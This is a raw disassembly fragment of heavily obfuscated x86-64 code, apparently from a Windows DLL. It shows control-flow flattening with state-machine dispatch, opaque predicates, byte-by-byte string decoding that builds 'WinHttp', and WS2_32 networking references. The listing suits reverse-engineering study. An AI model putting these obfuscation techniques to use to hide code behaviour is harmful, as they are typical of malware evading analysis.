call fcn.1800c3c70
mov byte [rsi + 4], al
add rsi, 5
mov rax, qword [rsp + 0x58]
add rax, 0x1a
mov qword [rsp + 0x70], rax
mov eax, 0x3dc28c10
jmp 0x1800b1930
mov eax, dword [rsp + 0x88]
mov eax, dword [rsp + 0x88]
mov eax, dword [rsp + 0x88]
mov eax, dword [rsp + 0x88]
mov eax, r13d
sub eax, dword [rsp + 0x88]
cmp eax, 0x80000
mov ecx, 0x80000
cmovae eax, ecx
mov dword [rsp + 0x14c], eax
mov eax, 0x5506bd7c
nop dword [rax]
cmp eax, 0x1109dce4
je 0x1800b4d4f
cmp eax, 0x5506bd7c
jne 0x1800b1ac0
mov ecx, 0xdfbe209
nop word [rax + rax]
cmp ecx, 0xeae3817
je 0x1800b1b2c
cmp ecx, 0xdfbe209
jne 0x1800b1ae0
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b1b1b
cmp ecx, 0x698c8bdd
jne 0x1800b1b00
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b1b00
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x57
mov ecx, 0xeae3817
jmp 0x1800b1ae0
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x150], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b1b8c
cmp ecx, 0xdfbe209
jne 0x1800b1b40
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b1b7b
cmp ecx, 0x698c8bdd
jne 0x1800b1b60
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b1b60
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x69
mov ecx, 0xeae3817
jmp 0x1800b1b40
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x151], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b1bec
cmp ecx, 0xdfbe209
jne 0x1800b1ba0
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b1bdb
cmp ecx, 0x698c8bdd
jne 0x1800b1bc0
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b1bc0
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x6e
mov ecx, 0xeae3817
jmp 0x1800b1ba0
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x152], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b1c4c
cmp ecx, 0xdfbe209
jne 0x1800b1c00
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b1c3b
cmp ecx, 0x698c8bdd
jne 0x1800b1c20
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b1c20
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x48
mov ecx, 0xeae3817
jmp 0x1800b1c00
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x153], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b1cac
cmp ecx, 0xdfbe209
jne 0x1800b1c60
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b1c9b
cmp ecx, 0x698c8bdd
jne 0x1800b1c80
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b1c80
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x74
mov ecx, 0xeae3817
jmp 0x1800b1c60
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x154], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b1d0c
cmp ecx, 0xdfbe209
jne 0x1800b1cc0
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b1cfb
cmp ecx, 0x698c8bdd
jne 0x1800b1ce0
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b1ce0
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x74
mov ecx, 0xeae3817
jmp 0x1800b1cc0
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x155], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b1d6c
cmp ecx, 0xdfbe209
jne 0x1800b1d20
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b1d5b
cmp ecx, 0x698c8bdd
jne 0x1800b1d40
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b1d40
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x70
mov ecx, 0xeae3817
jmp 0x1800b1d20
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x156], al
lea rax, [rsp + 0x157]
mov qword [rsp + 0x70], rax
lea rax, [0x18011fa45]
mov qword [rsp + 0x298], rax
mov eax, 0x1109dce4
jmp 0x1800b1ac0
mov dword [rsp + 0x298], 0x43
mov word [rsp + 0x70], ax
movzx eax, word [rsp + 0x70]
mov ecx, dword [rsp + 0x298]
add cx, ax
mov word [rsp + 0x1f8], cx
mov ecx, 0x66a53b08
nop dword [rax]
cmp ecx, 0x45c64127
je 0x1800b4dbc
cmp ecx, 0x66a53b08
jne 0x1800b1dd0
mov eax, 0x32175fe9
nop dword [rax]
cmp eax, 0x32175fe9
je 0x1800b1e00
cmp eax, 0x9dbef50
jne 0x1800b1df0
jmp 0x1800b1e07
mov eax, 0x9dbef50
jmp 0x1800b1df0
mov dword [rsp + 0x298], 0xb577
movsxd rax, dword [rsp + 0x298]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov ecx, 0x45c64127
jmp 0x1800b1dd0
mov eax, dword [0x180129718]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x17b9f3e3
mov ecx, 0x8079cb10
jmp 0x1800bbdfd
mov eax, dword [0x180129880]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rsp + 0x58]
mov edi, dword [0x180129884]
mov ebx, 0x117a5aa2
mov eax, 0xc93ff860
cmove ebx, eax
cmp edi, 0xa
setl byte [rsp + 0x48]
cmovl ebx, eax
mov eax, 0xe371ccc2
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x117a5aa1
jle 0x1800b1ed0
cmp eax, 0x117a5aa2
je 0x1800b1ee9
cmp eax, 0x352435fc
je 0x1800b1ef0
cmp eax, 0x36430429
jne 0x1800b1ea0
jmp 0x1800b4e5d
cmp eax, 0xc93ff860
je 0x1800b1f17
cmp eax, 0xe371ccc2
je 0x1800b1f1e
cmp eax, 0x369743b
jne 0x1800b1ea0
mov eax, ebx
jmp 0x1800b1ea0
mov eax, 0x369743b
jmp 0x1800b1ea0
mov eax, 0x1c61ffe1
nop word cs:[rax + rax]
nop
cmp eax, 0x1c61ffe1
je 0x1800b1f10
cmp eax, 0xe0743747
jne 0x1800b1f00
jmp 0x1800b1f3e
mov eax, 0xe0743747
jmp 0x1800b1f00
mov eax, 0x352435fc
jmp 0x1800b1ea0
mov dl, byte [rsp + 0x58]
cmp byte [rsp + 0x48], 0
mov eax, 0x117a5aa2
mov esi, 0x369743b
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b1ea0
mov dword [rsp + 0x70], 6
mov ebp, dword [rsp + 0x70]
mov eax, 0x36430429
jmp 0x1800b1ea0
mov rcx, r14
call fcn.1800c1390
lea rcx, [rsp + 0x2d0]
mov rdx, rax
call fcn.1800ae920
mov qword [rsp + 0xd0], r15
mov rax, qword [rsp + 0xd0]
mov eax, dword [0x180129750]
mov ecx, dword [0x180129754]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rsp + 0x7f]
cmp ecx, 0xa
setl byte [rsp + 0x7e]
mov ecx, 0x5c009d2c
lea rdi, [0x18011f943]
mov r8d, 0x832fbfa
mov r9d, 0x7c742e0
mov esi, 0x2fc5ecb9
jmp 0x1800b1fe0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x286], al
mov ecx, 0x2fc5ecb9
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x2fc5ecb8
jle 0x1800b2090
cmp ecx, 0x57bcdb8c
jg 0x1800b2140
cmp ecx, 0x2fc5ecb9
je 0x1800b2189
cmp ecx, 0x44f8bf86
jne 0x1800b1fe0
mov byte [rsp + 0x278], 0xc
mov ecx, 0xa40239d2
nop dword [rax]
cmp ecx, 0x8a7f6fce
je 0x1800b2207
cmp ecx, 0xa40239d2
jne 0x1800b2020
mov dword [rsp + 0x54], 0x57
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2062
cmp ecx, 0x844386c7
jne 0x1800b2050
jmp 0x1800b2069
mov ecx, 0x844386c7
jmp 0x1800b2050
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2020
cmp ecx, 0x7c742df
jg 0x1800b2173
cmp ecx, 0xf1a98005
je 0x1800b228b
cmp ecx, 0x5a6942b
jne 0x1800b1fe0
mov rax, qword [rsp + 0x40]
mov cl, byte [rsp + 0x80]
mov byte [rax], cl
mov rbp, qword [rsp + 0x40]
mov ecx, 0xa40239d2
nop dword [rax]
cmp ecx, 0x8a7f6fce
je 0x1800b22fb
cmp ecx, 0xa40239d2
jne 0x1800b20d0
mov dword [rsp + 0x54], 0x64
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2112
cmp ecx, 0x844386c7
jne 0x1800b2100
jmp 0x1800b2119
mov ecx, 0x844386c7
jmp 0x1800b2100
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0x14
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b20d0
cmp ecx, 0x57bcdb8d
je 0x1800b237b
cmp ecx, 0x5c009d2c
jne 0x1800b1fe0
mov dl, byte [rsp + 0x7f]
cmp byte [rsp + 0x7e], 0
mov ecx, 0x44f8bf86
cmovne ecx, esi
test dl, dl
cmovne ecx, esi
jmp 0x1800b1fe0
cmp ecx, 0x832fbfa
jne 0x1800b344b
mov ecx, 0xf1a98005
jmp 0x1800b1fe0
mov qword [rsp + 0x60], r15
mov rcx, qword [rsp + 0x60]
mov byte [rcx], 0xc
mov rcx, qword [rsp + 0x60]
mov edx, 0xa40239d2
cmp edx, 0x8a7f6fce
je 0x1800b2396
cmp edx, 0xa40239d2
jne 0x1800b21a0
mov dword [rsp + 0x54], 0x57
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b21e2
cmp edx, 0x844386c7
jne 0x1800b21d0
jmp 0x1800b21e9
mov edx, 0x844386c7
jmp 0x1800b21d0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
movsx edx, byte [rdx]
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b21a0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x279], al
mov ecx, 0xa40239d2
nop dword [rax + rax]
cmp ecx, 0x8a7f6fce
je 0x1800b241c
cmp ecx, 0xa40239d2
jne 0x1800b2220
mov dword [rsp + 0x54], 0x69
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2262
cmp ecx, 0x844386c7
jne 0x1800b2250
jmp 0x1800b2269
mov ecx, 0x844386c7
jmp 0x1800b2250
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 1
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2220
mov rax, qword [rsp + 0x48]
movsx ecx, byte [rax]
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b249b
cmp edx, 0xa40239d2
jne 0x1800b22a0
mov dword [rsp + 0x54], ecx
mov edx, 0x36ea5fe0
nop dword [rax]
cmp edx, 0x36ea5fe0
je 0x1800b22d2
cmp edx, 0x844386c7
jne 0x1800b22c0
jmp 0x1800b22d9
mov edx, 0x844386c7
jmp 0x1800b22c0
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0xe
movsx eax, al
mov dword [rsp + 0x68], eax
mov edx, 0x8a7f6fce
jmp 0x1800b22a0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rbp + 1], al
mov ecx, 0xa40239d2
nop dword [rax + rax]
cmp ecx, 0x8a7f6fce
je 0x1800b252b
cmp ecx, 0xa40239d2
jne 0x1800b2310
mov dword [rsp + 0x54], 0x65
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2352
cmp ecx, 0x844386c7
jne 0x1800b2340
jmp 0x1800b2359
mov ecx, 0x844386c7
jmp 0x1800b2340
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0x15
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2310
mov byte [rbp], 0
add rbp, 1
cmp rbp, qword [rsp + 0x70]
mov ecx, 0x57bcdb8d
cmove ecx, r9d
jmp 0x1800b1fe0
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 1], dl
mov edx, 0xa40239d2
nop word cs:[rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b25ab
cmp edx, 0xa40239d2
jne 0x1800b23b0
mov dword [rsp + 0x54], 0x69
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b23f2
cmp edx, 0x844386c7
jne 0x1800b23e0
jmp 0x1800b23f9
mov edx, 0x844386c7
jmp 0x1800b23e0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 1
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b23b0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x27a], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b262c
cmp ecx, 0xa40239d2
jne 0x1800b2430
mov dword [rsp + 0x54], WSAStartup
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2472
cmp ecx, 0x844386c7
jne 0x1800b2460
jmp 0x1800b2479
mov ecx, 0x844386c7
jmp 0x1800b2460
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 2
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2430
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov byte [rcx], al
mov rcx, qword [rsp + 0x58]
mov edx, 0xa40239d2
nop word cs:[rax + rax]
nop
cmp edx, 0x8a7f6fce
je 0x1800b26ab
cmp edx, 0xa40239d2
jne 0x1800b24c0
mov dword [rsp + 0x54], reloc.WS2_32.dll_WSAStartup
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b2502
cmp edx, 0x844386c7
jne 0x1800b24f0
jmp 0x1800b2509
mov edx, 0x844386c7
jmp 0x1800b24f0
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0xf
movsx eax, al
mov dword [rsp + 0x68], eax
mov edx, 0x8a7f6fce
jmp 0x1800b24c0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rbp + 2], al
mov ecx, 0xa40239d2
nop dword [rax + rax]
cmp ecx, 0x8a7f6fce
je 0x1800b272b
cmp ecx, 0xa40239d2
jne 0x1800b2540
mov dword [rsp + 0x54], WSAStartup
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2582
cmp ecx, 0x844386c7
jne 0x1800b2570
jmp 0x1800b2589
mov ecx, 0x844386c7
jmp 0x1800b2570
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0x16
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2540
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 2], dl
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b27ab
cmp edx, 0xa40239d2
jne 0x1800b25c0
mov dword [rsp + 0x54], WSAStartup
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b2602
cmp edx, 0x844386c7
jne 0x1800b25f0
jmp 0x1800b2609
mov edx, 0x844386c7
jmp 0x1800b25f0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 2
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b25c0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x27b], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b282c
cmp ecx, 0xa40239d2
jne 0x1800b2640
mov dword [rsp + 0x54], 0x48
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2682
cmp ecx, 0x844386c7
jne 0x1800b2670
jmp 0x1800b2689
mov ecx, 0x844386c7
jmp 0x1800b2670
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 3
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2640
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rcx + 1], al
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b28ab
cmp edx, 0xa40239d2
jne 0x1800b26c0
mov dword [rsp + 0x54], 0x74
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b2702
cmp edx, 0x844386c7
jne 0x1800b26f0
jmp 0x1800b2709
mov edx, 0x844386c7
jmp 0x1800b26f0
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0x10
movsx eax, al
mov dword [rsp + 0x68], eax
mov edx, 0x8a7f6fce
jmp 0x1800b26c0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rbp + 3], al
mov ecx, 0xa40239d2
nop dword [rax + rax]
cmp ecx, 0x8a7f6fce
je 0x1800b292b
cmp ecx, 0xa40239d2
jne 0x1800b2740
mov dword [rsp + 0x54], reloc.WS2_32.dll_WSAStartup
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2782
cmp ecx, 0x844386c7
jne 0x1800b2770
jmp 0x1800b2789
mov ecx, 0x844386c7
jmp 0x1800b2770
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0x17
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2740
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 3], dl
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b2952
cmp edx, 0xa40239d2
jne 0x1800b27c0
mov dword [rsp + 0x54], 0x48
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b2802
cmp edx, 0x844386c7
jne 0x1800b27f0
jmp 0x1800b2809
mov edx, 0x844386c7
jmp 0x1800b27f0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 3
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b27c0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x27c], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b29dc
cmp ecx, 0xa40239d2
jne 0x1800b2840
mov dword [rsp + 0x54], 0x74
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2882
cmp ecx, 0x844386c7
jne 0x1800b2870
jmp 0x1800b2889
mov ecx, 0x844386c7
jmp 0x1800b2870
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 4
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2840
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rcx + 2], al
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b2a5b
cmp edx, 0xa40239d2
jne 0x1800b28c0
mov dword [rsp + 0x54], 0x48
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b2902
cmp edx, 0x844386c7
jne 0x1800b28f0
jmp 0x1800b2909
mov edx, 0x844386c7
jmp 0x1800b28f0
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0x11
movsx eax, al
mov dword [rsp + 0x68], eax
mov edx, 0x8a7f6fce
jmp 0x1800b28c0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rbp + 4], al
add rbp, 5
mov rax, qword [rsp + 0x60]
add rax, 0x1a
mov qword [rsp + 0x70], rax
mov ecx, 0x57bcdb8d
jmp 0x1800b1fe0
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 4], dl
mov edx, 0xa40239d2
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x8a7f6fce
je 0x1800b2adb
cmp edx, 0xa40239d2
jne 0x1800b2970
mov dword [rsp + 0x54], 0x74
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b29b2
cmp edx, 0x844386c7
jne 0x1800b29a0
jmp 0x1800b29b9
mov edx, 0x844386c7
jmp 0x1800b29a0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 4
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b2970
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x27d], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b2b5c
cmp ecx, 0xa40239d2
jne 0x1800b29f0
mov dword [rsp + 0x54], 0x74
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2a32
cmp ecx, 0x844386c7
jne 0x1800b2a20
jmp 0x1800b2a39
mov ecx, 0x844386c7
jmp 0x1800b2a20
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 5
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b29f0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rcx + 3], al
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b2bdb
cmp edx, 0xa40239d2
jne 0x1800b2a70
mov dword [rsp + 0x54], 0x65
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b2ab2
cmp edx, 0x844386c7
jne 0x1800b2aa0
jmp 0x1800b2ab9
mov edx, 0x844386c7
jmp 0x1800b2aa0
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0x12
movsx eax, al
mov dword [rsp + 0x68], eax
mov edx, 0x8a7f6fce
jmp 0x1800b2a70
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 5], dl
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b2c6b
cmp edx, 0xa40239d2
jne 0x1800b2af0
mov dword [rsp + 0x54], 0x74
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b2b32
cmp edx, 0x844386c7
jne 0x1800b2b20
jmp 0x1800b2b39
mov edx, 0x844386c7
jmp 0x1800b2b20
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 5
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b2af0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x27e], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b2cec
cmp ecx, 0xa40239d2
jne 0x1800b2b70
mov dword [rsp + 0x54], WSAStartup
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2bb2
cmp ecx, 0x844386c7
jne 0x1800b2ba0
jmp 0x1800b2bb9
mov ecx, 0x844386c7
jmp 0x1800b2ba0
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 6
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2b70
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rcx + 4], al
add rcx, 5
mov qword [rsp + 0x40], rcx
mov ecx, 0xa40239d2
nop word cs:[rax + rax]
nop
cmp ecx, 0x8a7f6fce
je 0x1800b2d6b
cmp ecx, 0xa40239d2
jne 0x1800b2c00
mov dword [rsp + 0x54], 0x61
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2c42
cmp ecx, 0x844386c7
jne 0x1800b2c30
jmp 0x1800b2c49
mov ecx, 0x844386c7
jmp 0x1800b2c30
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0x13
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2c00
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 6], dl
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b2d84
cmp edx, 0xa40239d2
jne 0x1800b2c80
mov dword [rsp + 0x54], WSAStartup
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b2cc2
cmp edx, 0x844386c7
jne 0x1800b2cb0
jmp 0x1800b2cc9
mov edx, 0x844386c7
jmp 0x1800b2cb0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 6
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b2c80
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x27f], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b2e0c
cmp ecx, 0xa40239d2
jne 0x1800b2d00
mov dword [rsp + 0x54], 0x41
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2d42
cmp ecx, 0x844386c7
jne 0x1800b2d30
jmp 0x1800b2d49
mov ecx, 0x844386c7
jmp 0x1800b2d30
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 7
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2d00
